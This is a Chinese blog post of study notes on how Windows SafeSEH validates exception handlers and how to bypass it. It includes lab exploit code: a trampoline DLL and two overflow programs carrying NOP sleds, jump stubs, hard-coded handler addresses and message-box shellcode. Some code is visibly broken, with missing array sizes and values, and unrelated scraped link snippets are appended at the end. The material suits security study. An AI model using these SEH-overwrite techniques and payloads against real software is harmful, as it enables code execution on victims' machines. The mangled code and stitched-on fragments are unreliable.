SafeSEH 对异常处理的保护原理

在 Windows XP sp2 以及之后的版本中,微软引入了 S.E.H 校验机制 SafeSEH。SafeSEH 需要 OS 和 Compiler 的双重支持,二者缺一都会降低保护能力。通过启用 /SafeSEH 链接选项可心使编译好的程序具备 SafeSEH 功能(VS2003 及后续版本默认启用)。该选项会将所有异常处理函数地址提取出来,编入 SEH 表中,并将这张表放到程序的映像里。异常调用时,就与这张预先存好的表中的地址进行校验。

VS 的 Visual Studio 200* Command Prompt 中,使用 dumpbin /loadconfig *.exe 命令可以查看 SEH 表:

 Microsoft (R) COFF/PE Dumper Version 9.00.30729.01
Copyright (C) Microsoft Corporation. All rights reserved. Dump of file gs.exe File Type: EXECUTABLE IMAGE Section contains the following load config: size
time date stamp
0.00 Version
GlobalFlags Clear
GlobalFlags Set
Critical Section Default Timeout
Decommit Free Block Threshold
Decommit Total Free Threshold
Lock Prefix Table
Maximum Allocation Size
Virtual Memory Threshold
Process Heap Flags
Process Affinity Mask
CSD Version
Reserved
Edit list
Security Cookie
004021C0 Safe Exception Handler Table
Safe Exception Handler Count Safe Exception Handler Table Address
--------
004017F5 __except_handler4 Summary .data
.rdata
.reloc
.rsrc
.text

SafeSEH 机制从 RtlDispatchException() 开始:

. 如果异常处理链不在当前程序的栈中,则终止异常处理调用。
. 如果异常处理函数的指针指向当前程序的栈中,则终止异常处理调用。
. 在前两项检查都通过后,调用 RtlIsValidHandler() 进行异常处理有效性检查。

Alex 在 08 年的 Black Hat 大会上披露了 RtlIsValidHandler() 的细节:

 BOOL RtlIsValidHandler( handler )
{
if (handler is in the loaded image) // 在加载模块的内存空间内
{
if (image has set the IMAGE_DLLCHARACTERISTICS_NO_SEH flag)
return FALSE; // 程序设置了忽略异常处理
if (image has a SafeSEH table) // 含有 SafeSEH 表说明程序启用了 SafeSEH
if (handler found in the table) // 异常处理函数地址在表中
return TRUE;
else
return FALSE;
if (image is a .NET assembly with the ILonly flag set)
return FALSE; // 包含 IL 标志的 .NET 中间语言程序
} if (handler is on non-executable page) // 在不可执行页上
{
if (ExecuteDispatchEnable bit set in the process flags)
return TRUE; // DEP 关闭
else
raise ACCESS_VIOLATION; // 访问违例异常
} if (handler is not in an image) // 在可执行页上,但在加载模块之外
{
if (ImageDispatchEnable bit set in the process flags)
return TRUE; // 允许加载模块内存空间外执行
else
return FALSE;
}
return TRUE; // 允许执行异常处理函数
}

由此可见,SafeSEH 对 S.E.H 的保护已经很完善了,能有效降低通过攻击 S.E.H 异常处理函数指针而获得控制权的可能性。RtlIsValidHandler() 函数只有在以下三种情况下都会允许异常处理函数的执行:

. 异常处理函数指针位于加载模块内存范围外,并且 DEP 关闭
. 异常处理函数指针位于加载模块内存范围内,相应模块未启用 SafeSEH 且不是纯 IL // 注意,若上述伪代码的第 13 行未执行则会执行第 31 行
. 异常处理函数指针位于加载模块内存范围内,相应模块启用 SafeSEH 且函数地址在 SEH 表中

针对以上三种可能性:

1. 若 DEP 关闭,则只要在当前模块的内存范围之外找一个跳板,就能转入 shellcode 执行

2. 第二种情况,可以在加载模块中找一个没有启用 SafeSEH 的模块,用这个未启用 SafeSEH 模块里的指令作为跳板,转入 shellcode 执行。(所以说 SafeSEH 需要 OS 与 Compiler 的双重支持)

3. 可以考虑清空 SafeSEH 表以欺骗 OS,或者将自己的函数地址注入到 SEH 表中。但因为 SEH 表的信息在内存中是加密的,破坏它很难,故放弃。

SEH 有一个缺陷:如果 SEH 中的异常函数指针指向堆区,那即使 SEH 校验发现异常处理函数不可信,仍然会调用这个不可信的异常处理函数!所以只要将 shellcode 布置在堆区就能直接跳转执行!!

另外,攻击返回地址或者虚函数也可以直接绕过 SafeSEH;

绕过 SafeSEH

方法一:覆盖函数返回地址。若攻击对象启用了 SafeSEH 但是 没有启用 GS 或者存在未受 GS 保护的函数,则可用这个方法。

方法二:攻击虚函数表来绕过 SafeSEH。

方法三:将 shellcode 部署在堆中以绕过 SafeSEH。

方法三:利用未启用 SafeSEH 的模块绕过 SafeSEH。(针对上述的 RtlIsValidHandler() 函数的第二种放行可能)

方法四:DEP 关闭时,可以利用加载模块之外的指令作为跳板(见后文示例)。

利用未启用 SafeSEH 的模块绕过 SafeSEH

思路是:在没有启用 SafeSEH 并且不是纯 IL 的模块中寻找跳板,利用跳板绕过 SafeSEH。

以下是实验构建的无 SafeSEH 保护的模块,用来做跳板用:

 // Windows XP Sp3 & VC++6.0
// Project : Win32 Dynamic-Link Library ( not MFC Dll ) - Simple DLL Project
// Project Settings : Link - Project Option - /base:"0x111120000" ( avoid null-char when trampolining )
// Compile : SEH_NOSafeSEH_JUMP.DLL
//
// SEH_NoSafeSEH_JUMP.cpp : Defines the entry point for the DLL application.
// #include "stdafx.h" BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
return TRUE;
} void jump()
{
__asm {
pop eax
pop eax
retn
}
}

这个实验中需要用到一个 OllyDbg 的插件:OllySSEH,下载地址:http://www.openrce.org/downloads/details/244/OllySSEH%20target=

OllyDbg 加载以上代码编译出的 DLL 文件,使用 OllySSEH 查看 SafeSEH 情况可以发现此 DLL 无 SafeSEH 保护。(但自己写进去的 pop eax, pop eax, retn 没有找到,却在 0x111211B6 处找到了一个 pop,pop,retn 的指令序列,先不管了,直接用)

将以上代码加入一个 VC++ 6.0 的 Simple DLL Project 中,并按要求设置好链接参数后,可以编译出适合作为跳板的关闭 SafeSEH 的 DLL 文件。将这个 DLL 放置在以下代码形成的 exe 同级目录中,就可以完成弹窗实验:

 // safeseh.cpp
//
// Env: Windows XP sp3 (turn off DEP in boot.ini) with VS 2008 (Optimization Disabled)
// Build Version : Release
#include "stdafx.h"
#include <string.h>
#include <windows.h> char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\xEB\x0E\x90\x90\xB6\x11\x12\x11" // SEH Pointer & Handler
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8" // 168 字节的弹窗 shellcode
; DWORD MyException(void)
{
printf("call MyException()");
getchar();
return ;
} void test(char * input)
{
char str[];
strcpy(str,input); int zero=;
__try
{
zero/=zero;
}
__except (MyException())
{
}
} int main(int argc, _TCHAR* argv[])
{
HINSTANCE hInst = LoadLibrary(_T("SEH_NoSafeSEH_JUMP.dll"));
printf("hInst : %d\n",hInst);
char str[];
//__asm int 3
test(shellcode);
return ;
}

实验中使用 pop pop retn 作为跳板,所以 shellcode 需要放置在 SEH Handler 的后面,因为触发异常后,执行异常处理过程中栈帧 esp+8 的位置会保存 next SEH handler 的地址。

书中提到一个需要注意的细节:VS2008 编译的程序,在进入 __try {} __except{} 指令块时,会在 Security Cookie + 4 的位置压入状态值 -2(VC++6.0 下为 -1),进入 __try 区域时程序会根据该 __try 块在函数中的位置而将这个状态值修改成不同的值。若函数中有两个 __try 块,则进入第一个 __try 块时这个值会被修改为 0,进入第二个 __try 块时被修改为 1。如果在 __try 中出现异常,程序会依据这个值来决定调用哪个异常处理函数,处理结束后这个值又会被修改回 -2。如果没有发生异常,则在离开 __try 块时这个值会被重新修改为 -2。这个值在异常处理过程中还有其他用途,以后可以跟踪。Security Cookie 紧跟在 SEH 后,所以这个值位于 SEH + 8 的位置(注意 SEH 本身会占用 8 字节的空间),由此可知,异常触发后,因为是进入函数中的第一个也是唯一一个 __try 块,所以 SEH + 8 的内存会被修改为 0。为了避免 shellcode 受此影响,SEH 之后并不直接写入 shellcode,而是用 8 字节的数据填充(见上述代码第 25 行)——前 4 字节覆盖了 Security Cookie,后 4 字节覆盖前面提到的 __try 块的状态值。

异常触发后,在执行异常处理函数时,会压入一个新的栈帧,在这个新的栈帧中,esp + 8 的位置存储了 next SEH,即转入当前异常处理函数时的那个 SEH,也即是在异常触发前最顶层的那个被覆盖了的 SEH。由此,pop pop retn 后,会执行代码第 24 行用来覆盖 SEH 的代码。原本可用 8 个 nop 填充 SEH,但我自己实验时发现,被修改为 0 的 __try 状态值会使程序无法正常执行,所以要跳过 __try 块的状态值。这里使用书中提供的方法,即在 pop pop retn 后直接使用短跳指令 0xEB : JMP short Jb - 机器码为 0xEB 0x0E,向前跳 0x0E 个字节(见代码第 24 行)。

利用加载模块之外的指令作为跳板

 // safe_seh.cpp
//
// Env: Windows XP sp3 (turn off DEP in boot.ini) with VS 2008 (Optimization Disabled)
// Build Version : Release
#include "stdafx.h"
#include <string.h>
#include <windows.h>
char shellcode[]= // 216 bytes to next seh
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8" // 168 bytes shellcode
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90" // 40 bytes nops
"\xE9\x2B\xFF\xFF\xFF\x90\x90\x90" // far jump and nops : jmp -213
"\xEB\xF6\x90\x90" // short jump and nops
"\x0B\x0B\x28\x00" // addr of trampolining : call [ebp+0x30]
; DWORD MyException(void)
{
printf("exception caught.");
getchar();
return ;
} void test(char* input)
{
char str[];
strcpy(str,input);
int zero=;
__try{
zero=/zero;
}
__except(MyException())
{
}
} int _tmain(int argc, _TCHAR* argv[])
{
test(shellcode);
return ;
}

shellcode 准备完备之前,先用 OllyDbg Plugin : OllyFindAddr - Overflow Return Address - Find CALL/JMP [EBP+N] 来寻找可以使用的跳板,操作完成后,打开 OllyDbg 的 Log,并与 OllyDbg Plugin : SafeSEH 的结果对比(SafeSEH 结果中 SafeSEH ON 的模块均有 SafeSEH 保护),在非加载模块(EXE/DLL)的地方(Module : Unknow)找到一条很好的跳板:0x00280B0B : call [ebp+0x30]。(参照书中的引导,完成 shellcode 之后,经调试发现异常处理函数调用时, ebp + 0x30 处存放的是 next SEH struct,即代码中的第 24 行)

跳板地址含有 0x00,所以 shellcode 只能放置在 SEH structure 之前,这里又用到了上一个实验中使用的 jmp 向前跳的方法,而且还用了两次:第一次向前跳 10 字节(第 24 行,向前跳以 jmp 指令的下一条指令地址为基址,所以此处向前跳 8 个字节,但指令为 jmp -10,因为 jmp -10 本身占用 2 个字节),第二次向前跳 215 字节,用的是长跳指令 0xE9 : JMP near Jz

IE 中利用未启用 SafeSEH 的模块绕过 SafeSEH 保护

书中使用 Flash Player 9.0.124(最后一个不支持 SafeSEH 的 FlashPlayer 版本)和自定义的含溢出漏洞的 COM 组件进行实验,踏板地址选择 Flash Player 组件中的 call [ebp+0xc] 所在的地址。我跟了一下,[ebp+0xc] 和 [ebp+0x30] 都指向 next SEH structure

OD: SafeSEH的更多相关文章

  1. safeseh+dep保护绕过

    [文章作者]       :h_one [漏洞程序名称]:mplayer.exe [漏洞类型]       :缓冲区溢出 [保护方式]       :safeseh+dep [操作平台]       ...

  2. SEH, SAFESEH相关

    SEH, SAFESEH相关 1,触发seh异常让目标程序Read/Write无效地址,如果和栈底相邻的内存只读,尝试覆盖超出栈底 2,如何找到(显示)要覆盖的SEHod语法:dd fs:[0]sof ...

  3. Linux之od命令详解

    功能说明:输出文件内容.语 法:od [-abcdfhilovx][-A <字码基数>][-j <字符数目>][-N <字符数目>][-s <字符串字符数&g ...

  4. 基本shell编程【3】- 常用的工具awk\sed\sort\uniq\od

    awk awk是个很好用的东西,大量使用在linux系统分析的结果展示处理上.并且可以使用管道, input | awk ''  | output 1.首先要知道形式 awk 'command' fi ...

  5. od 查看特殊格式的文件内容

    用户通常使用od命令查看特殊格式的文件内容.通过指定该命令的不同选项可以以十进制.八进制.十六进制和ASCII码来显示文件. 语法: od [选项] 文件- 命令中各选项的含义: - A 指定地址基数 ...

  6. 游戏外挂四之利用CE和OD查找被选中怪物和怪物列表

    合肥程序员群:49313181.    合肥实名程序员群:128131462 (不愿透露姓名和信息者勿加入)Q  Q:408365330     E-Mail:egojit@qq.com 这一节我们利 ...

  7. OD调试17

    程序先出现一个nag 然后出现主窗口 然后出现第二个nag窗口        我们查个壳   没有壳 那就载入OD看看,继续用调用堆栈的方法 发现一直执行用的都是这一个call,最后执行到程序结束.之 ...

  8. OD调试16

    今天还是15的那个程序,但是呢,换一种方法去掉NAG窗口 用OD载入,暂停,查看调用的堆栈 先看最后一个    查看调用,下断点 往上看看,找到入口的地方,设下断.点,重载,运行,单步 通过单步发现 ...

  9. OD调试15

    可以达到不脱壳的妙用.含义:把补丁写入程序代码,就叫内嵌补丁 那我们先看看今天的程序 是一个写DVD目录的程序,点continue就可以进入使用了      发现一个还有29天 就过期了   ,点en ...

随机推荐

  1. js循环便利json数据

    var data=[{name:"a",age:12},{name:"b",age:11},{name:"c",age:13},{name: ...

  2. C++ STL基本容器的使用

    C++中有两种类型的容器:顺序容器和关联容器.顺序容器主要有vector.list.deque等.其中vector表示一段连续的内存,基于数组实现,list表示非连续的内存,基于链表实现,deque与 ...

  3. Unity扩展编辑器--类型1:Editor Windows

    Extending the Editor Unity允许你使用自己定制的inspectors和Editor Windows扩展编辑器,并且你可以使用定制的Property Drawers定义属性集在i ...

  4. JavaScript 类型判断的那些事

    先准备几个变量 var a = "abcde."; var b = 222; var c= [1,2,3]; // 或者 new Array() var d = new Date( ...

  5. listview底部增加按钮

    View bottomView=getActivity().getLayoutInflater().inflate(R.layout.btn_my_course, null); myCourses = ...

  6. hadoop安装问题记录

    start-yarn.sh 启动正常,但是无法访问网页http://localhost:8088/cluster 原因: 可能是ipv6 的问题 解决方法: http://stackoverflow. ...

  7. 最近点对问题 HDU Quoit Design 1007 分治法

    #include<cstdio> #include<cstring> #include<iostream> #include<algorithm> #i ...

  8. 关于oledb对Excel的读取

    这两天项目需求要检索excel的内容,于是就研究了一下,话不多说,我就直接贴代码1.首先是连接excel. public DataTable SearchSheetToDT(string strSea ...

  9. python_Opencv_读取视频

    目标 • 学会读取视频文件,显示视频,保存视频文件 • 学会从摄像头获取并显示视频 • 你将会学习到这些函数:cv2.VideoCapture(),cv2.VideoWrite()用摄像头捕获视频 使 ...

  10. Context中嵌套<Environment>元素

    环境条目  可以在Context中嵌套<Environment>元素,配置命名的值,这些值作为环境条目资源(Environment Entry Resource),对整个web应用可见.比 ...